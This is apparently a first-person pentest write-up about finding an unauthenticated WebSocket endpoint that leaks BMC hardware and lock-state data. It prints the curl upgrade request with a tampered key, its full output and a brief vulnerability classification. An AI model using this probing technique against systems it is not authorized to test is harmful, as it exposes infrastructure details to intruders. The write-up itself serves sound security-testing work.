The Ghost in the Socket

It was late. The floor in the datacenter it was cold been sitting there for a few hours, but the excitement of breaking everything kept me going.

I was deep inside our partner's new environment — a full pentest, mostly using nmap curl burp, until I found 10.16.0.21.

Nmap had flagged port 8090 as open. That was unusual. It wasn't standard HTTP, and it wasn't HTTPS. I tried the classics first. I threw nc at it. It hung. I tried telnet. The connection dropped immediately. I tried a few manual Python scripts to fuzz the input, but the server was acting complaining about tls and encryption stubborn, and completely opaque.

Frustrated and checking the time it was 8 pm, I marked it "investigate later" and called it a night.

The next morning, I looked at the IP with fresh eyes. I remembered a vague error I'd seen in a verbose log the night before: something about "needing to upgrade." It clicked. This wasn't a standard REST endpoint; it was a WebSocket waiting for a handshake but it would not make a socket connection.

I opened konsole. If this thing wanted a handshake, I'd give it one — but on it kept on complaining about the encryption versions o i asked my self what would happen if i upgrade also I didn't have a client so I grabbed curl. after making a connection with upgrade it failed due to auth I needed to trick the server into thinking i was authed.

I crafted the request carefully. I needed to force the connection upgrade, but I was skeptical about the authentication. Usually, you need a valid session token or a specific signed key. I decided to try a bluff. I used a standard, dummy WebSocket key — dGhlIHNhbXBsZSBub25jZQ== (literally just "the sample nonce" base64 encoded)—but I tweaked a few characters just to see if the server was actually validating the crypto.

I typed it out:

Bash

curl -v -N \
     -H "Connection: Upgrade" \
     -H "Upgrade: websocket" \
     -H "Host: 10.16.0.21:8090" \
     -H "Origin: http://10.16.0.21" \
     -H "Sec-WebSocket-Key: dgglIHNfbXBsZSBub25jZQ==" \
     -H "Sec-WebSocket-Version: 13" \
     http://10.16.0.21:8090
* Established connection to 10.16.0.21 (10.16.0.21 port 8090) from 10.16.0.100 port 43588
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.16.0.21:8090
> User-Agent: curl/8.18.0
> Accept: */*
> Upgrade: websocket
> Origin: http://10.16.0.21
> Sec-WebSocket-Key: dgglIHNfbXBsZSBub25jZQ==
> Sec-WebSocket-Version: 13
> Connection: Upgrade
>
* Request completely sent off
< HTTP/1.1 101 Switching Protocols
< Connection: Upgrade
< Sec-WebSocket-Accept: pwkWtYlIZnh9OFAh7FBpRSIKzCE=
< Server: WebSocket++/0.8.2
< Upgrade: websocket
<
�~P{
  "AlarmEventSummary": {
    "CriticalAlarmCount": 0,
    "MajorAlarmCount": 0,
    "TotalAlarmCount": 0
  },
  "BoardsSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "EthernetInterfaces": [
    "eth0",
    "eth1",
    ""
  ],
  "FansSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "IndicatorLED": "Off",
  "IsPostStart": false,
  "LicenseStatus": "NotInstalled",
  "MemorySummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "OverallSecurityStatus": "Closed",
  "PcieSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "PowerStatus": "On",
  "PowerSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "ProcessorSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "Status": {
    "Oem": {
      "Public": {
        "Severity": "Informational"
      }
    }
  },
  "StorageSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "SysLockState": {
    "AccessIsolationEnabled": false,
    "BIOSLockEnabled": false,
    "BMCLockEnabled": false,
    "HardwareLockEnabled": false,
    "PowerControlLockEnabled": false,
    "ServiceEnabled": false,
    "UpgradeLockEnabled": false
  },
  "Tasks": {
    "CurrentTaskCount": 0,
    "Members": []
  },
  "TemperatureSummary": {
    "Status": {
      "Oem": {
        "Public": {
          "Severity": "Informational"
        }
      }
    }
  },
  "UpdateTasks": []

I hit Enter and held my breath.

* Established connection to 10.16.0.21...

> GET / HTTP/1.1

> Upgrade: websocket

The request flew off. I waited for the 401 Unauthorized or the 403 Forbidden. I waited for the server to realize my key was garbage.

Instead, the terminal flashed:

< HTTP/1.1 101 Switching Protocols

My jaw dropped XD. 101 Switching Protocols. It didn't care about the key. It didn't ask for a password. It just opened the door.

Then came the flood. The raw data stream poured onto my screen, a massive JSON dump of the system's internal organs.

"AlarmEventSummary": { "CriticalAlarmCount": 0 ... }

"BoardsSummary": { "Status": ... "Severity": "Informational" }

I scrolled up, scanning the output. This wasn't just a chat app or a notification service. I was looking at the hardware monitor. I could see the EthernetInterfaces, the FansSummary, the PowerStatus.

Then I saw the irony staring back at me in white text:

"OverallSecurityStatus": "Closed"

"Closed," it said. Meanwhile, I was reading their license status (NotInstalled) and looking at their SysLockState. I had visibility into the physical state of the board, the BIOS lock status, and the BMC controls.

It was an undocumented endpoint. No authentication. No validation on the socket key. Just a wide-open pipe leaking critical infrastructure data to anyone who knew how to ask for an upgrade.

I took a screenshot, saved the JSON dump to a log file, and closed the connection. The "Closed" security status was about to become the headline of a very Critical report.

What this finding means

You found a Broken Access Control and Security Misconfiguration vulnerability.

  1. Missing Authentication: The WebSocket endpoint (/ on port 8090) did not require any session tokens, API keys, or credentials.
  2. Lack of Input Validation: The server accepted an arbitrary Sec-WebSocket-Key without validating it against the handshake protocol requirements properly (or simply ignored that it was invalid/modified).
  3. Information Disclosure: The server immediately dumped sensitive Baseboard Management Controller (BMC) data, exposing hardware configuration and internal states.